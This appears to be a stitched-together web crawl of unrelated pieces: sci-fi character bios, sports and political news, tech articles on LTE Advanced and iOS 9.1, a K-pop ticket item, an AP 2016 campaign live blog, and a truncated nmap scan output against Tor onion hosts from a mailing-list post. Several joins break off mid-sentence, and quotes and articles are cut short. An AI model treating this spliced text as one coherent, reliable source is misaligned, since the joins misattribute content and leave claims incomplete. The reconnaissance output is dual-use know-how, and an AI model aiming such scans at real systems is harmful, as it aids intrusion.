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Like this: Like Loading...This is the first time I've drawn a few of the main cast, let alone all of them in one picture. Aura looks like a gremlin here.Imaged from Left to Right: Recon Sniper 'Imani Malik', Field Scientist 'Aura Chen', CQC Expert 'Bastion Grey', Pilot 'Isaac Atcheson', and Team Captain 'Nora Long'Pictured here is Planetary Survey Team ATLAS, one of the hundreds of pathfinding teams working for Arcadia. Their job is to survey, research, and analyze alien worlds for their resources, flora, fauna, and location for the purpose of mining and colonizing. Arcadia is devoted to the peaceful exploration and research of deep space; privately funded, it was founded by the Kahn family in the year 2164 and has been owned and operated by them since then. Mandus Kahn is the current Executive Director of the company, and personally inaugurates every new team into the Corporation annually, at least every Galactic Basic Year [One Earth Year]._____________________________________________________________________Imani Malik is a level headed, silent but deadly Reconnaissance Sniper. Her job is to survey great distances with her telescopic eyes, as well as provide covering fire during firefights, or while dealing with hostile native organisms. She is from the moon of Basilisk, a rocky slum world with acidic rain and a reputation for gang activity. Despite such horrible living conditions, she grew up to be a very mature, honorable soldier and, once retired, a fantastic Planetary Surveyor. She had the chance to become Captain of Team ATLAS herself, however, she turned it down, stating that it was easier for her to take orders rather than give them._____________________________________________________________________Aura Chen is a hyper active, clutzy Field Scientist. With child like enthusiasm towards her job, she loves exploring and discovering new things! She grew up near Beijing, China, on Earth. Born to a rich household, her and her brother Kai were very sheltered as children. She was not allowed to explore outside the large 20 acre property, and homeschooled until the age of 18, where she then went to University to study Planetary Science, things such as Biology, Astronomy, Meteorology, and Geology. Due to being homeschooled and secluded for the first 18 years of her life, she often has trouble socializing with others, and at times disregards peoples personal space. Though they lived a pampered life in a mansion with their mother and father, Kai desired to see the galaxy, not just read about it in their lessons. He wanted adventure, a life worth living, so in the night he ran. To where, nobody knows... but Aura, determined to find her long lost brother Kai, joined Arcadia in hopes of one day being reunited with him once more._____________________________________________________________________Bastion Grey grew up in the aquatic cities of Jupiters moon Europa. Despite being stoic as hell, he has a heart of gold and, although dry as the desert, a very good sense of humor. He lived a simple life with his Mother, who taught him things such as cooking Europan classics, cleaning, and reading and writing. Due to his father falling ill and passing away during his childhood, Bastion had to leave school to work to help pay for their Apartment in the lower levels of the City of Juniper, the crown jewel of Europa. Bastion, once he turned 18, joined the Security Force, protecting the streets he grew up in with a heart of passion. But one day, he saved the life of an Arcadia official who was wandering the slums of Juniper. The Arcadia Official, in an effort to repay the debt, offered Bastion a job as a Planetary Surveyor. Afterall, he met the requirements of having at least 4 years in an Armed Force and he seemd more than capable of handling even the worst scenarios. Bastion was slow to accept the idea, but his Mother convinced him that getting out of his home town could do him some good._____________________________________________________________________Isaac Atcheson, a humble farm boy from the Breadbasket of North America. An extraordinary pilot, he verst dabbled into aviation with his Father as a kid, piloting an classic sporty propellor plane from the dawn of aviation in the 20th century. His father also taught him how to properly care and repair these flying machines, and cemented a profound love for the sky in his young, impressionable mind. Isaac, after completing high school, earned his Freighter Certificate and got a job moving cargo in orbit, where he worked for a few years, before he had enough and just needed more in life. A certificate for flying space freighters isn't enough to land you a job at Arcadia, but when they saw how much of a natural pilot he was, they were crazy NOT to employ him! Now he lives a life among the stars, shooting from star system to star system with his friends, but never forgetting those moments with his Father as a kid, his humble beginnings. He credits all his success to him, for with out him, he never would of pursued his passion._____________________________________________________________________Nora Long was adopted at the age of 3 to a rich human family in New York, her father was an Astronomer and her mother, a Doctor. Growing up, Nora was fascinated with space, always asking her father questions and checking out books from the public library. She went to a private school, but her father still taught her Mathematics in their spare time, which Nora excelled in. Though, going to a majority Human school, Quell were often treated poorly by the other kids, especially due to the Rogue War that occured during Nora's school years. But, in times of great sorrow, she made a friend; another Quell by the name of Autumn. Autumn was her best friend throughout her childhood, they would talk about everything, always spend time together, dated on and off, and of course even hated each others guts at times. But they would always resolve their issues. During Nora's senior year of high school, Autumn proposed the idea of joining the military, to fight in the ongoing Rogue War. Nora was reluctant at first, but Autumn was convincing. Autumns plan was to spend a few years touring in the Military, then maybe team up and kick back with some survey work for Arcadia. Autumn always wanted to be a pilot, and Nora definitely had a thing for pilots, so, through some additional sweet talking, she accepted the plan, and come the time, they did join the military. They toured huge, unfamiliar star systems, learned so much about different people and cultures, not to mention foods Nora's never even heard of! During those years, they found themselves, and as the war was dying down, they found that they were happy with each other. However, this new found peace wasn't to last long. Autumn was, regretfully, declared KIA on what was supposed to be a routine security run on the Rogue 'Containment World' Thesius V. The cause of death was a concussive blast, due to starfighter fire in the town of Halcyon. Nora was devestated, her best friend of 24 years was ripped from her life in seconds. Though it didn't feel like seconds, as it was happening it felt like a millenia. Nora after that was never the same, she returned from her tour and suffered from PTSD, slipped into a Euphoria addiction, and rarely ever left her apartment. It wasn't for another year that she began to get her life together. She checked herself into rehab to kick her drug habit, saw a psychiatrist to help manage her PTSD, and looked into the possibility of future employment. That's when Arcadia seemingly knocked on her door. She remembered the plan was to always kick back and enjoy the sights as a Planetary Surveyor, and she thought it'd only be fitting to fulfill Autumns Legacy. So, once her life allowed it, she enrolled, and worked her way up to Captain of Team ATLAS. And whenever things go south, she'll always remember that phrase Autumn would say: The Stars Will Guide Me Home.Benatia said to Sky Sport Germany",
The 29-year old Moroccan defender's tongue suddenly sharpened, as he fired this barbed comment at the club, guilty of having dealt in transfer speculation before a key European date with Atletico Madrid.
Former Roma defender and Juventus target Mehdi Benatia has opened to the notion of leaving Bayern Munich.A star at the Olimpico, the Moroccan international has languished in obscurity since moving to Germany (only 27 Bundesliga appearances), struggling to earn playing time and reportedly angling for a return to Italy. "Bayern are dealing with Mats Hummels"I have no problems, but if I have to leave, I'll leave, but first I want to end the season well."I'm going through a very important phase of my career as a footballer, and I won't follow the club's lead in talking about the transfer window before a Champions League semifinal".Israel has re-mapped over 15,000 acres of land in the West Bank in an apparent attempt to expand settlement construction, Haaretz reported.
The re-mapping was reportedly completed in 2015 by a special team called 'Blue Line,' working under the Civil Administration.
A total of 240 acres were mapped near the settlement of Nokdim, and almost one acre near Gitit. Almost 11 acres mapped near Tarkumiya are not close to any existing settlement, according to Haaretz.
Read more
The move, according to the newspaper, suggests an intention to begin construction on new settlements.
“It’s important to realize that these mapping efforts are directed almost exclusively deep into the West Bank and to settlements that are far from the settlement blocs, and to areas designated earlier by Israel as fire zones, even though it’s obvious that they comprise part of the pool of land that Israel is gradually handing over to settlements,” settlement researcher Dror Etkes, who analyzed the data, told Haaretz.
The re-mapping is seen as significant, particularly because in order for Israel to permit construction on land that was declared as state land before 1999, the Civil Administration must map it again.
The assumption, according to Haaretz, is that if the mapping clarifies the land is indeed state land, Israel can claim that Palestinian houses were built on it after the area was designated as such.
It has also been speculated that the move is aimed at preventing Palestinians living in military fire zones from petitioning the High Court of Justice against the violent activity taking place near their homes.
The mapping of 15,000 acres is a significant increase in the rate of mapping carried out in previous years. Only 5,000 acres were mapped in 2014. The previous year, just over 3,000 acres were mapped.
Israel's disputed settlements, built on lands occupied since the 1967 Six-Day War, currently exist in the West Bank, East Jerusalem, and the Golan Heights. There are over 230 settlements in total, housing more than half-a-million Israelis.The National Rifle Association has once again drawn condemnation from a Jewish group after one of its lobbyists invoked the Holocaust to attack a Washington state ballot initiative to expand background checks on gun sales. Despite regular denunciations from Jewish groups for misappropriating the history of Holocaust, the NRA routinely uses this type of rhetoric to demonize its opponents and gun legislation it dislikes.
According to a report in the Seattle Post-Intelligencer, recently released audio captured NRA lobbyist Brian Judy attacking Seattle businessman Nick Hanauer's support of Initiative 594 -- which would expand background checks in Washington -- because of Hanauer's Jewish background. Calling Hanauer "stupid," Judy argued that "he's put half-a-million dollars toward this policy, the same policy that led to his family getting run out of Germany by the Nazis."
Judy went on to mock the intelligence of anyone who is "anti-gun" and Jewish:
JUDY: You know, it's staggering to me, it's just, you can't make this stuff up. That these people, it's like any Jewish people I meet who are anti-gun, I think: Are you serious? Do you not remember what happened? And why did that happen? Because they registered guns and then they took them. And now you're supporting gun control -- you come to this country and you support gun control. Why did you have to flee to this country in the first place? Hello. Is anybody home here?
The Jewish Federation of Greater Seattle has called for Judy's resignation and asked that the NRA "make clear that it rejects his ignorant and unproductive dialogue."In the latest test of future wireless bandwidth, Chinese handset maker ZTE and carrier China Mobile last week described achieving a peak download speed of 223 megabits per second in experiments involving a network technology known as LTE Advanced.
Users’ appetite for mobile bandwidth seems insatiable. Cisco Systems estimates that mobile data traffic will grow by a factor of 18 by 2016, and Bell Labs predicts it will increase by a factor of 25. “Data traffic has been growing,” says Michel Peruyero, senior director of product evolution strategy at Alcatel-Lucent, which is developing small base stations, called small cells, that include the new LTE Advanced features. “If you stay with only LTE, you can only support a certain number of users. With LTE Advanced, you have significant increase in data rates, or the same data for many more users.”
LTE Advanced has been in the works for a few years and will be tested by carriers in parts of North America later this year. In essence, the technology stitches together streams of data from as many as five different frequencies—a trick known as “carrier aggregation.” In addition to that, it can transmit and receive from as many as eight antennas, known as multiple-input, multiple-output, or MIMO, technology. Actual wireless bandwidth changes constantly depending on your location and the number of devices connecting to a base station at any given moment.
The new technology promises to bring high-bandwidth applications like video streaming, gaming, and video conferencing to phones and tablets. But it does not come without cost: devices using it—which are expected to proliferate in the next few years—will need more powerful processors, as well as more antennas inside. Current phones generally use only one antenna taking one stream of data at a time. LTE Advanced devices will also need more energy storage to do the necessary onboard computation. Without new breakthroughs in batteries or reductions in power consumption by other means (see “Efficiency Breakthrough Promises Smartphones that use Half the Power”), phones will simply get larger.
Devices using the new technology are not available yet, but the chips that will power them are coming. At the Consumer Electronics Show in Las Vegas last month, chipmaker Qualcomm announced that it will come out with a chipset that provides for carrier aggregation and will provide bandwidth of 150 megabits per second.
Meanwhile, many carriers haven’t even finished rolling out the latest standard, known as LTE. So while AT&T, for example, says it plans to test LTE Advanced later this year, it adds that it is mainly focused on completing the underlying rollout of LTE to reach 300 million people in North America by the end of 2014.
LTE Advanced could also bring about a powerful new way to deliver wireless broadband to homes. In theory, optimal use of the channels and antennas could lead to download speeds of one gigabit per second, the same rate as the hardwired cutting-edge fiber-to-the-home speeds that Google is installing in Kansas City (see “When Will the Rest of Us Get Google Fiber?”). “We know, practically, you won’t be able to have eight antennas in all the devices—especially small ones like netbooks and laptops. But fixed devices in the home could have an array of eight antennas, leading to a greater opportunity to deliver broadband Internet wirelessly, rather than through copper or fiber,” says Peruyero.
In many ways the wireless industry is betting on a continuation of the trend toward smaller, cheaper, and more powerful microelectronics to make LTE Advanced feasible and affordable. “The whole ecosystem, from materials to the chipsets, will need to work together to bring prices down while computational complexity is going up,” says Hossam Hmimy, director of technology strategy and principal consultant at Ericsson, a leader in developing LTE technology.
While base stations might send signals from eight antennas, it is likely that phones and tablets would stop at four antennas, at least for now. But the need for additional hardware components to put four antennas in phones or tablets could still change the design and form factor of those gadgets.
Because LTE Advanced merges signals from different channels and antennas, it makes for a more complex and ever-changing use of spectrum—and one benefit is that it will make signals more robust and able to withstand interference.
Right now, blocking one of several tiny parts of the LTE signal with a battery-operated jammer could block access across a city, researchers have found (see “One Simple Trick Could Disable a City’s 4G Network”). Aggregating many different channels makes that harder to do, says Jeff Reed, who heads the wireless research lab at Virginia Tech. “It will help with that problem, because it’s basically coordinating base stations together. That coordination will help reduce the jamming issues.”
Overall, Reed says, LTE Advanced “is going to certainly provide a much higher data rate, give a lot more spectrum flexibility, and let everyone use spectrum more efficiently.”Pilots hate them. Passengers who avoid them get a groping. They're the TSA full body scanners presently deployed at airports near you. Their effectiveness is unclear. What is clear is that lobbying for them makes you a ton of money.
Now don't get me wrong, I'm all for airport security and stopping the terrorists before they can cause a horrific mid-air explosion with their shoe bombs or dog bombs, or whatever it is they're going to try and use to create terror in the airways. But how about a little rationality and common sense?
Take effectiveness for example. These scanners, for all their naked human goodness, cannot see through skin. It's a gory thought, yes, but as it has been documented in movies and more importantly reality over the years, a dedicated bad guy doesn't really mind hiding a little PETN in his or his dog's body cavity for a few hours, given that it's going to be a one-way trip.
But safety, writes Washington Examiner Senior Examiner Columnist Timothy Carney, might be a secondary concern of the so-called "naked scanner" movement.
You see, there are basically three big players when it comes to the full body scanners you will see in a U.S. airport: l-3 Communications, Rapiscan and the American Science and Engineering company. All three have made hundreds of millons of dollars since terror-related events like 9/11 and the "Christmas Bomber" Umar Farouk Abdulmutallab's failed attempt to blow up a passneger plane in 2009 (an attack, if you'll remember, that the Government Accountability office said would probably have not been prevented by full body scanners).
All three firms have cozy ties to sitting U.S. Representatives and lobbyists, from both sides of the aisle. Writes Carney:
L-3 employs three different lobbying firms including Park Strategies, where former Sen. Al D'Amato, R-N.Y., plumps on the company's behalf. Back in 1989, President George H.W. Bush appointed D'Amato to the President's Commission on Aviation Security and Terrorism following the bombing of Pan Am Flight 103. Also on Park's L-3 account is former Appropriations staffer Kraig Siracuse [...]Rapiscan's lobbyists include Susan Carr, a former senior legislative aide to Rep. David Price, D-N.C., chairman of the Homeland Security Subcommittee [...]AS&E's lobbying team is impressive, including Tom Blank, a former deputy administrator for the TSA. Fellow AS&E lobbyist Chad Wolf was an assistant administrator at TSA and an aide to Sen. Kay Bailey Hutchison, who sits on the Transportation and defence subcommittees of Appropriations. Finally, Democratic former Rep. Bud Cramer is also an AS&E lobbyist — he sat on the defence and Transportation subcommittees of the Appropriations Committee.
Then of course there's the ridicule and teasing many people will never know is happening, because it's being done behind closed doors by TSA officials when the airport's closed down for the night.
During training on the scanners, a group of TSA workers noted and mocked the genitalia of the guinea-pig employee sent through the scanner. The guy soon beat down one of his mockers and was arrested for assault. After assurances by contractors and the TSA that the nude images of the scanners' subjects weren't being stored and saved, the U.S. Marshals Service admitted that it had stored thousands of such images.
Oops! Ah, hell, as we've pointed out here before, sometimes it's being done in broad daylight too!
Lastly, there's something to be said of Britain's ol' axiom (and current Internet meme) "Keep Calm and Carry On."
[H] ow far are we willing to go to prevent weapons or bombs from getting on airplanes? In the past decade, terrorists on airplanes have killed just about 3,000 people — all on one day. Even if the Christmas Day bomber had succeeded, the number would be under 3,500. Those are horrible deaths. But in that same period, more than 150,000 people have been murdered in the United States. We haven't put the entire U.S. on lockdown — or even murder capitals like Detroit, New Orleans and Baltimore
Sorry pro-naked scanner people, but I'm with the pilots, the flight attendants, disgruntled passengers and Ben Franklin on this one. We need to put things into perspective. If we're going to spend millions on something, I'd rather it be something effective that's truly benefitting my fellow passenger, not some lobbyist and their current client. [The Washington Examiner via Daring Fireball]The Steelers and general manager Kevin Colbert have come to an agreement on a contract extension, the team announced today in a press release. The deal is for two years, and it will keep him on board through at least the 2018 draft.
After having served as the Steelers director of football operations for 11 seasons, Colbert was promoted to general manager in 2010. The team made it to the Super Bowl during his first year on the job, and the Steelers have compiled a 51-29 record since he took over. The 58-year-old is also credited for having an important role in the construction of the team’s Super Bowl victories in 2005 and 2008.
“I am happy to announce that we have extended Kevin Colbert’s contract for two additional years,” Steelers’ President Art Rooney II said. “Kevin’s work and footprint on our football operations have been a key factor in our success. We are excited Kevin will continue to lead our personnel department for at least the next three years.”
“I am truly grateful to Art and Mr. Rooney for the opportunity to continue my career with the Pittsburgh Steelers,” Colbert said. “It is with great anticipation that we enter into the 2015 season in pursuit of another Super Bowl championship.”
The Steelers have been active this month, having extended head coach Mike Tomlin through 2018 and wrapping up a six-year deal for defensive end Cameron Heyward. Fox Sports’ Mike Garafolo tweets that the team may not be done, noting that the Steelers have also started talks with offensive tackle Kelvin Beachum.Interest rates may rise sooner than you think after surprise vote
Interest rates may rise sooner than you think after surprise vote
Mark Carney holds the casting vote on the monetary policy committee in the event of rate deadlock
Up until noon on Thursday markets had been presuming it would be a long time until UK interest rates increased.
To be precise, investors were not pricing in a full increase in borrowing costs from 0.25% to 0.5% until October 2020 - more than |
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92.242.140.2 | wiki.facebookcorewwwi.onion - 92.242.140.2 | www.facebookcorewwwi.onion - 92.242.140.2 | www2.facebookcorewwwi.onion - 92.242.140.2 |_ xml.facebookcorewwwi.onion - 92.242.140.2 |_ipidseq: Unknown |_path-mtu: 65535 <= PMTU < 65536 | qscan: | PORT FAMILY MEAN (us) STDDEV LOSS (%) | 7 0 0.00 -0.00 100.0% | 80 1 74.00 -nan 90.0% |_443 2 61.00 -nan 90.0% _______________________________________________ Sent through the dev mailing list https://nmap.org/mailman/listinfo/dev Archived at http://seclists.org/nmap-dev/ By Date By Thread Current thread: Instructions: How to scan tor hidden services Andrew Jason Farabee (Jun 19)Numerous Senate Democrats oppose bringing military operations in Iraq and Syria to a vote before Congress because they think going on the record as for or against will be harmful to their bids for office during an election season, The Hill reported Wednesday. Critics slammed this reluctance to take a position as a sign that cowardice and self gain—not principle—rule the legislature.
Senator Tim Kaine (D-Va.) has been vocally pushing for President Obama to put the expanding U.S. military attacks on ISIS in Iraq and Syria to a vote before Congress, as required by the War Powers Resolution. In a press statement released Monday, Kaine stated, "I do not believe that our expanded military operations against ISIL are covered under existing authorizations from Congress. The 2001 Authorization for Use of Military Force does not apply, and the Administration has testified that the 2002 Iraq war authorization is obsolete and should be repealed."
But Democratic Senators' aides, none of whom went on the record, told journalists Alexander Bolton and Amie Parnes that a congressional vote would be a political liability. The comments were captured in The Hill article:
“Asking anybody to take that vote within two months of an election is just stupid. Why would you put people in that position?” said a Senate Democratic aide. A vote to authorize Obama to strike at Islamic militants in Iraq and Syria beyond the 60-day window set out by the War Powers Resolution would be a de facto referendum on the president, according to another aide. “I think it’s dumb,” said a second Democratic aide. “The less the president is in the news with anything right now, the better.”
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But critics say that now—when the U.S. is currently expanding its war in Iraq and Syria—is exactly the time when presidential powers need to be checked. "The fact that these unnamed people are carping at Kaine and acting like there's something wrong with him for not acting as enabler of their cowardice shows the struggle that we need to wage if we want to have democratic control," Robert Naiman, policy director for Just Foreign Policy, told Common Dreams.
Kaine's position is not new. He had previously worked with Senator John McCain to "reform the War Powers Resolution in a way that lays out a clear consultative process between Congress and the President on whether and when to engage in military action," according to a statement released from Kaine's office. However, The Hill notes that McCain has held back on demanding congressional authorization of military strikes on ISIS because, according to a Democratic aide, this could get in the way of U.S. bombings.
"That way of thinking is prevalent in Washington across the political spectrum," said Naiman. "First you decide whether you support the war. If you support the war, you only support authorization if you think authorization is guaranteed. This is an unprincipled position."
Since August 8, the U.S. has carried out nearly 100 air strikes across Iraq and currently has nearly 1,000 U.S. military service members deployed to the country. Public information about the attacks—including the military branches carrying them out, the civilians and combatants killed, and the role of private contractors—remains scarce. Furthermore, President Obama's stated aims for the strikes have shifted throughout the month—from assisting refugees to protecting U.S. personnel to "eradicating" the "cancer" of ISIS. Meanwhile, U.S. drones are currently conducting surveillance flights over Syria, in what many warn is a sign of U.S. air strikes in that country as well.
"We are a little over two weeks into air strikes," Stephen Miles of Win Without War told Common Dreams, explaining that his organization is currently organizing to stop U.S. attacks on Iraq and prevent air strikes in Syria. "If Congress doesn't do anything until after the election, we will be a few months into a military intervention," he said.Credit where credit’s due, Apple has been uncharacteristically forthcoming about the myriad of iOS 9 bugs since its release in September. Now with the launch of iOS 9.1 Apple has again gone on record with revelations which show just how troubled the software has been…
In contrast to Apple’s past tradition of sliding in crucial bug fixes and hoping no-one notices, iOS 9.1 spells them out:
Fixes an issue that could cause Calendar to become unresponsive in Month view
Fixes an issue that prevented Game Center from launching for some users
Resolves an issue that zoomed the content of some apps
Resolves an issue that could cause an incorrect unread mail count for POP mail accounts
Fixes an issue that prevented users from removing recent contacts from new mail or messages
Fixes an issue that caused some messages to not appear in Mail search results
Resolves an issue that left a gray bar in the body of an Audio Message
Fixes an issue that caused activation errors on some carriers
Fixes an issue that prevented some apps from updating from the App Store
Improved stability including CarPlay, Music, Photos, Safari, and Search
Improved performance while in Multitasking UI
In short that’s problems with: Calendar, Game Center, app updating, app content, messaging, carrier data and email viewing, downloading, sending and search. In addition to this there’s recognition that CarPlay, Music, Photos, Safari, and Search have been unstable and multitasking sluggish.
Yes iOS 9.1 has a big job on its hands, but it has long been said that the first steps towards fixing problems is recognising you have them. Whether this remains true for iOS 9.1 remains to be seen as (just like iOS 9.0.1 and iOS 9.0.2) initial reports of its success are hit and miss.
Read more - New iPhone 7 Details Reveal Radical Design Changes
Record Rush
Of course what both pleases, but also creates doubt, is the speed with which Apple has brought iOS 9.1 to market. With no less than 5 betas and the final release done within 33 days it shatters the typical 60-80 day testing period Apple usually takes, as illustrated by the excellent ThinkyBits iOS development tracking blog:
Whether this inspires pride or anxiety will likely depend on whether or not you’ve been on the receiving end of previous iOS bugs. I’ll be taking a deeper dive into what iOS 9.1 successfully solves and where it comes up short in my upgrade guide later today.
On the plus side, it is also worth pointing out that iOS 9.1 has a couple of useful, non-bug fix related useful improvements: WiFi calling has been brought to Sprint and motion tracking added to Live Photos so it no longer records you putting your iPhone away. If you’re an emoji addict, there’s also 150 more of them now.
But far more importantly, my hope is this more open and faster moving Apple proves to be a good thing long term. Right now it doesn’t equate with iOS 9’s troubled beginnings and iOS 8’s troubled entire lifespan, but if Apple can hit a few home runs then it can dispel the feeling “It Just Works!” has devolved into beta testing on the public.
___
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More On Forbes
Read more - iPhone 6S Vs iPhone 6S Plus Review: Should You Upgrade?
Read more - Apple Patents A New Shape For Headphone Jack That Will Anger Everyone
Read more - Apple iOS 9 Has 25 Great Secret Features
Read more - iPad Pro Vs iPad Air 2 Vs iPad Mini 4: What's The Difference?Tickets to GFRIEND’s first-ever solo concert have been sold out!
The girl group is set to hold their concert at the Olympic Hall of Olympic Park in Seoul, and sold tickets online through Melon Ticket. Fan club members were able to buy tickets on December 6, while regular tickets were sold on December 8. During regular ticket sales, 6,000 seats were claimed within three minutes, showcasing GFRIEND’s popularity.
Their upcoming concert “Season of GFRIEND” is especially gaining attention as it is the group’s first solo concert since their debut. A source from GFRIEND’s agency Source Music stated, “Thanks to the incredible interest from the fans, tickets for GFRIEND’s first solo concert were completely sold out in three minutes. We would like to thank all of the fans, and we will be doing our best to return the favor with a high-quality concert.”
“Season of GFRIEND” will be taking place on January 6 and 7 in 2018.
*Thanks to Ichika for the tip!
Source (1)WASHINGTON (AP) — The Latest on campaign 2016 (all times Eastern):
11:05 p.m.
Hillary Clinton's campaign says she had a "positive discussion" with Bernie Sanders about their primary campaign, the Democratic party and "the dangerous threat that Donald Trump poses to our nation."
Clinton and Sanders met for more than 90 minutes at a Washington, D.C., hotel on the night of the final primary in the District of Columbia, which Clinton won.
Clinton again congratulated Sanders on the campaign he has run, and said she appreciated his strong commitment to stopping Trump in the general election.
A Clinton campaign aide says the two talked about "a variety of progressive issues" like raising wages, eliminating undisclosed money in politics and reducing the cost of college. They agreed to continue working on their shared agenda.
__
10:27 p.m.
The hotel summit between Hillary Clinton and Bernie Sanders is over.
The Vermont senator left a Washington, D.C., hotel on Tuesday night after a meeting of about 90 minutes with the presumptive Democratic presidential nominee. There was no sign of Clinton, who earlier won the city's presidential primary election.
The meeting between the two candidates was aimed at brokering a sense of Democratic unity as the primary season ended and the campaign turns toward the general election.
Sanders has yet to endorse Clinton, but has said he's willing to do whatever it takes to defeat presumptive Republican nominee Donald Trump this fall.
___
10:25 p.m.
Hillary Clinton netted a dozen more delegates than Bernie Sanders after a big win Tuesday in the District of Columbia.
For the evening, she picked up 16 delegates to Sanders' four.
That means she finished the Democratic presidential primary season with a lead of 387 pledged delegates over Sanders.
Based on just the primaries and caucuses, Clinton has 2,219 pledged delegates to Sanders' 1,832.
When including superdelegates, or party officials who can back any candidate, Clinton holds a wider lead — 2,800 to 1,881.
It takes 2,383 to win, a number Clinton reached last week to become the presumptive nominee.
__
9:45 p.m.
Hillary Clinton is finishing the Democratic presidential primary season with a lead of more than 380 pledged delegates over Bernie Sanders.
Clinton won the District of Columbia, which was the last to hold its primary, on Tuesday.
With 20 delegates at stake, Clinton won at least 14. Sanders picked up at least two. Four delegates remain to be allocated, pending final vote tallies.
That means based on primaries and caucuses, Clinton has least 2,217 pledged delegates to Sanders' 1,830.
When including superdelegates, or party officials who can back any candidate, Clinton holds a wider lead — 2,798 to 1,879.
It takes 2,383 to win, a number that Clinton reached last week to become the presumptive nominee.
__
8:45 p.m.
The 2016 presidential primary season is over. And in the last race of the year, it's a win for Hillary Clinton.
The presumptive Democratic presidential nominee capped her primary campaign on Tuesday with a win over Vermont Sen. Bernie Sanders in the Washington, D.C., primary.
As elections officials started to count votes in the nation's capital, Clinton and Sanders were meeting at a hotel in the city.
Clinton said earlier Tuesday in an interview with Telemundo that she was very much "looking forward to having his support in this campaign, because Donald Trump poses a serious threat to our nation."
The presumptive GOP nominee wrapped up his primary effort last Tuesday, when the final Republican primary elections were held in five states.
___
7:10 p.m.
Donald Trump says President Barack Obama is "more angry" at him than the gunman in the Orlando massacre.
The presumptive Republican presidential nominee is speaking at a rally in Greensboro, North Carolina, hours after Obama denounced his anti-Muslim rhetoric.
Trump made similar comments Monday, when he told a conservative radio host the president "doesn't have a lot of anger at what happened to these wonderful people."
Trump delivered a fiery speech Monday in which he vowed to impose a broad ban on immigrants from areas of the world with a history of terrorism and suggested some Muslims in the United States are turning a blind eye to unfolding plots.
In a rebuttal Tuesday, Obama said: "That's not the America we want. It does not reflect our democratic ideals."
___
3:30 p.m.
Democratic presidential candidate Bernie Sanders is declining to offer his endorsement of Hillary Clinton, telling reporters he will simply "fight as hard as we can" to transform the Democratic Party.
Sanders told reporters ahead of a Tuesday night face-to-face meeting with Clinton, the presumptive Democratic nominee, that he wants to push for new leadership in the Democratic National Committee, a progressive platform in the summer convention and electoral changes such as primaries that allow independents to participate.
Sanders told reporters outside his Washington campaign headquarters: "we need major, major changes in the Democratic Party." He declined to say whether he will suspend his campaign after Tuesday's final primary in the District of Columbia or endorse Clinton.
___
3:15 p.m.
Democratic candidate Bernie Sanders is lashing out at "bigotry" following the attacks at an Orlando gay nightclub, saying that the attack was committed by one man, not by an entire religion.
"The Muslim people did not commit this horrific act," Sanders said during a press conference in Washington, which is holding its Democratic primary Tuesday. "A man named Omar Mateen did."
"Our goal must not be to allow politicians, Donald Trump or anyone else, to divide us," Sanders added, warning against "bigotry" as a result of Sunday morning's attack that killed nearly 50 people.
___
2:15 p.m.
Presumptive Republican nominee Donald Trump is responding to criticism by President Barack Obama, saying the president puts U.S. enemies ahead of its allies and the American people.
In an emailed response to questions Tuesday, Trump said the president "claims to know our enemy, and yet he continues to prioritize our enemy over our allies, and for that matter, the American people."
He added that "when I am president, it will always be America first."
Obama on Tuesday delivered a scathing rebuke to Trump's anti-Muslim rhetoric, blasting the Republican presidential nominee's immigration proposals as dangerous and "not the America we want."
___
2:00 p.m.
The Republican National Committee says policies proposed by President Barack Obama and presumptive Democratic nominee Hillary Clinton would not have prevented the Orlando attacks.
In a statement Tuesday, following speeches by both Obama and Clinton that lashed out at presumptive GOP nominee Donald Trump, RNC chairman Reince Priebus said that "the terrorists win when they convince politicians they should take away our rights."
"That is exactly what President Obama and Hillary Clinton are proposing," Priebus said noting that their proposals "infringe on Americans' constitutional rights to due process and to own a gun."
The statement notes that the Obama administration's "hasty and politically-driven" withdrawal from Iraq and "failure to secure Libya" created a vacuum for the Islamic State group to thrive.
___
1:35 p.m.
Democratic presidential candidate Bernie Sanders is meeting with Senate Democrats and planning to update his supporters on Thursday night in his hometown of Burlington, Vermont.
Sanders said in an email to supporters Tuesday that he will hold an online town hall "to talk to you directly on Thursday night about what's next for our campaign."
The Vermont senator is meeting with Hillary Clinton on Tuesday night at the end of the final primary in the District of Columbia.
He declined to answer questions from reporters as he left for the luncheon with Senate Democrats.
___
12:50 p.m.
Hillary Clinton says Donald Trump offered "bizarre rants" and "demonstrative lies" in his response to the Orlando massacre.
In a point-by-point rebuttal to the presumptive GOP nominee's Monday address, Clinton said Tuesday that Trump has to "distract us from the fact that he has nothing substantive to say."
She said the Republican falsely identified the native-born shooter as an immigrant, arguing that Trump's anti-immigration platform and ban on Muslims entering the country would not have "saved a single life."
"The terrorist who carried out this attack wasn't born in Afghanistan as Donald Trump said yesterday, he was born in Queens, New York just like Donald was himself," she told union members at a campaign event in Pittsburgh.
Clinton also said Trump falsely accused her of wanting to allow a flood of unverified refugees into the country and eradicate the second amendment.
"We need a commander-in-chief who can grapple with our challenges in all their complexity, with real plans that actually address them," she says.
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12:45 p.m.
President Barack Obama says anti-Muslim rhetoric from presumptive Republican presidential nominee Donald Trump is "not the America we want."
Obama is arguing that treating Muslim-Americans differently won't make the U.S. safer. He says it will make the country less safe by fueling the notion among followers of the Islamic State group that the West hates Muslims.
Obama lashed out a day after presumptive Republican nominee Donald Trump doubled down on his proposal to temporarily ban foreign Muslims from entering the U.S.
Obama says the U.S. was founded on freedom of religion and that there are no religious tests in America.
He says such talk makes Muslim-Americans feel like their government is betraying them.
Obama commented after meeting with his national security advisers on the threat posed by IS. He also was briefed on the investigation into the Orlando nightclub shooting.
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12:40 p.m.
Hillary Clinton says Donald Trump accused President Barack Obama of being "on the side of the terrorists" — an accusation she called "shameful."
In a speech to union members in Pittsburgh Tuesday, Clinton said that comments by Trump following the Orlando massacre "is way beyond anything that should be said by anyone running for president of the United States."
Trump has received widespread criticism for comments he made to Fox News Monday, saying: "People cannot, they cannot believe that President Obama is acting the way he acts and can't even mention the words 'radical Islamic terrorism.' There's something going on."
Clinton said Republicans should seriously consider whether they will stand by the presumptive nominee or by the (Democratic) president — something she acknowledged would be a difficult choice.
Clinton also went after Trump for his criticism of Clinton and Obama for refusing to identify these attacks as "radical Islamic extremism."
Clinton asked: "Is Donald Trump suggesting that there are magic words that once uttered will stop terrorists from coming after us?"
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12:00 p.m.
The Democratic National Committee says its computer network was breached by Russian government hackers who gained access to opposition research on presumptive Republican nominee Donald Trump.
DNC chairwoman Debbie Wasserman Schultz called the incident "serious" and says the committee moved quickly to "kick out the intruders and secure our network. The chairwoman says the DNC reached out to the cyber firm CrowdStrike to help with the hack.
The DNC says financial and personal information does not appear to have been accessed by the hackers.
The Washington Post first reported the incident.
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10:30 a.m.
